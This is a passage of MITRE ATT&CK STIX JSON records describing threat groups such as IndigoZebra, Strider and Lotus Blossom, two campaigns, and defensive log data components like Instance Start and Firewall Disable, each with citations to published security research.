Targets the Afghan Government. Retrieved September 24, 2021."},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"}],"modified":"2021-10-16T02:06:06.404Z","name":"IndigoZebra","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Cloud Service Disable","description":"Deactivation or stoppage of a cloud service (ex: AWS Cloudtrail StopLogging)","x_mitre_data_source_ref":"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Start","description":"Activation or invocation of an instance (ex: instance.start within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--2a80d95f-08c4-48e3-833e-151ef19d90f5","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Enumeration","description":"An extracted list of instances within a cloud environment (ex: instance.list within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--e214eb6d-de8f-4154-9015-6d47915fbed1","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Cloud Storage Metadata","description":"Contextual data about cloud storage infrastructure and activity around it such as name, size, or owner","x_mitre_data_source_ref":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"x-mitre-data-component","id":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","created":"2021-10-20T15:05:19.275Z","x_mitre_version":"1.0","x_mitre_deprecated":false,"revoked":false,"description":"Queried domain name system (DNS) registry data highlighting current domain to IP address resolutions (ex: dig/nslookup queries)","modified":"2022-05-02T23:19:55.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Active DNS","x_mitre_data_source_ref":"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-27T20:22:05.127Z","name":"SilverTerrier","description":"[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)","aliases":["SilverTerrier"],"x_mitre_deprecated":false,"x_mitre_version":"1.2","type":"intrusion-set","id":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","created":"2019-01-29T21:36:59.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0083","external_id":"G0083"},{"source_name":"SilverTerrier","description":"(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)"},{"source_name":"Unit42 SilverTerrier 2016","description":"Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf"},{"source_name":"Unit42 SilverTerrier 2018","description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Container Start","description":"Activation or invocation of a container (ex: docker start or docker restart)","x_mitre_data_source_ref":"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Snapshot Metadata","description":"Contextual data about a snapshot, which may include information such as ID, type, and status","x_mitre_data_source_ref":"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Firewall Disable","description":"Deactivation or stoppage of a cloud service (ex: Write/Delete entries within Azure Firewall Activity Logs)","x_mitre_data_source_ref":"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Cloud Service Enumeration","description":"An extracted list of cloud services (ex: AWS ECS ListServices)","x_mitre_data_source_ref":"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Strider","ProjectSauron"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656","type":"intrusion-set","created":"2017-05-31T21:32:07.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0041","external_id":"G0041"},{"source_name":"Strider","description":"(Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)"},{"source_name":"ProjectSauron","description":"ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)"},{"source_name":"Symantec Strider Blog","description":"Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.","url":"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"},{"source_name":"Kaspersky ProjectSauron Blog","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.","url":"https://securelist.com/faq-the-projectsauron-apt/75533/"},{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-06-29T01:43:19.374Z","name":"Strider","description":"[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Cloud Storage Enumeration","description":"An extracted list of cloud storage infrastructure (ex: AWS S3 ListBuckets or ListObjects)","x_mitre_data_source_ref":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-20T20:54:47.331Z","name":"Cluster Metadata","description":"Contextual data about a cluster and activity around it such as name, namespace, age, or status","x_mitre_data_source_ref":"x-mitre-data-source--c3af32ff-65c5-4ea8-912a-fb4a85197239","x_mitre_deprecated":true,"x_mitre_version":"1.0","type":"x-mitre-data-component","id":"x-mitre-data-component--fafaa705-ec08-4405-ac62-288c252e520d","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:02:07.114Z","name":"Pikabot Distribution February 2024","description":"[Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) using malicious emails with embedded links leading to malicious ZIP archives requiring user interaction for follow-on infection. The version of [Pikabot](https://attack.mitre.org/software/S1145) distributed featured significant changes over the 2023 variant, including reduced code complexity and simplified obfuscation mechanisms.(Citation: Elastic Pikabot 2024)(Citation: Zscaler Pikabot 2024)","aliases":["Pikabot Distribution February 2024"],"first_seen":"2024-02-01T05:00:00.000Z","last_seen":"2024-02-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Elastic Pikabot 2024)","x_mitre_last_seen_citation":"(Citation: Elastic Pikabot 2024)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Inna Danilevich, U.S. Bank"],"type":"campaign","id":"campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53","created":"2024-07-17T19:42:07.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0036","external_id":"C0036"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"},{"source_name":"Zscaler Pikabot 2024","description":"Nikolaos Pantazopoulos. (2024, February 12). The (D)Evolution of Pikabot. Retrieved July 17, 2024.","url":"https://www.zscaler.com/blogs/security-research/d-evolution-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Logon Session Metadata","description":"Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it","x_mitre_data_source_ref":"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Cloud Storage Deletion","description":"Removal of cloud storage infrastructure (ex: AWS S3 DeleteBucket)","x_mitre_data_source_ref":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T15:10:14.209Z","name":"C0033","description":"[C0033](https://attack.mitre.org/campaigns/C0033) was a [PROMETHIUM](https://attack.mitre.org/groups/G0056) campaign during which they used [StrongPity](https://attack.mitre.org/software/S0491) to target Android users. [C0033](https://attack.mitre.org/campaigns/C0033) was the first publicly documented mobile campaign for [PROMETHIUM](https://attack.mitre.org/groups/G0056), who previously used Windows-based techniques.(Citation: welivesec_strongpity)","aliases":["C0033"],"first_seen":"2016-05-01T07:00:00.000Z","last_seen":"2023-01-01T08:00:00.000Z","x_mitre_first_seen_citation":"(Citation: securelist_strongpity)","x_mitre_last_seen_citation":"(Citation: welivesec_strongpity)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"type":"campaign","id":"campaign--a82bc5ad-5f95-4c6a-9f25-aaf6f476a3c4","created":"2024-03-28T18:00:04.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0033","external_id":"C0033"},{"source_name":"securelist_strongpity","description":"Baumgartner, K. (2016, October 3). On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users. Retrieved March 28, 2024.","url":"https://securelist.com/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/76147/"},{"source_name":"welivesec_strongpity","description":"Stefanko, L. (2023, January 10). StrongPity espionage campaign targeting Android users. Retrieved January 31, 2023.","url":"https://www.welivesecurity.com/2023/01/10/strongpity-espionage-campaign-targeting-android-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["mobile-attack","enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Drive Access","description":"Opening of a data storage device with an assigned drive letter or mount point","x_mitre_data_source_ref":"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-11-07T19:45:00.000Z","name":"Pod Metadata","description":"Contextual data about a pod and activity around it such as name, ID, namespace, or status","x_mitre_data_source_ref":"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","type":"x-mitre-data-component","id":"x-mitre-data-component--c0edd522-0aef-46b3-8efa-2bd334ce4242","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Deletion","description":"Removal of an instance (ex: instance.delete within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Firewall Metadata","description":"Contextual data about a firewall and activity around it such as name, policy, or status","x_mitre_data_source_ref":"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T21:58:31.089Z","name":"Lotus Blossom","description":"[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)","aliases":["Lotus Blossom","DRAGONFISH","Spring Dragon","RADIUM","Raspberry Typhoon"],"x_mitre_deprecated":false,"x_mitre_version":"3.0","type":"intrusion-set","id":"intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7","created":"2017-05-31T21:32:01.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0030","external_id":"G0030"},{"source_name":"DRAGONFISH","description":"(Citation: Accenture Dragonfish Jan 2018)"},{"source_name":"Lotus Blossom","description":"(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)"},{"source_name":"RADIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Raspberry Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Spring Dragon","description":"(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)"},{"source_name":"Accenture Dragonfish Jan 2018","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018.","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf"},{"source_name":"Spring Dragon Jun 2015","description":"Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.","url":"https://securelist.com/the-spring-dragon-apt/70726/"},{"source_name":"Lotus Blossom Jun 2015","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Scarlet Mimic"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7","type":"intrusion-set","created":"2017-05-31T21:32:00.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0029","external_id":"G0029"},{"source_name":"Scarlet Mimic","description":"(Citation: Scarlet Mimic Jan 2016)"},{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-30T19:16:53.144Z","name":"Scarlet Mimic","description":"[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Creation","description":"Initial construction of a new instance (ex: instance.insert within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-17T17:55:58.333Z","name":"TA578","description":"[TA578](https://attack.mitre.org/groups/G1038) is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including [Latrodectus](https://attack.mitre.org/software/S1160), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)","aliases":["TA578"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","created":"2024-09-17T17:55:44.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1038","external_id":"G1038"},{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT16"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70","created":"2017-05-31T21:31:56.270Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0023","url":"https://attack.mitre.org/groups/G0023"},{"source_name":"APT16","description":"(Citation: FireEye EPS Awakens Part 2)"},{"source_name":"FireEye EPS Awakens Part 2","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)","modified":"2022-07-26T23:33:26.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"APT16","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Moafee"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f","type":"intrusion-set","created":"2017-05-31T21:31:46.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0002","external_id":"G0002"},{"source_name":"Moafee","description":"(Citation: Haq 2014)"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html","description":"Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.","source_name":"Haq 2014"}],"modified":"2020-03-30T19:09:42.298Z","name":"Moafee","description":"[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 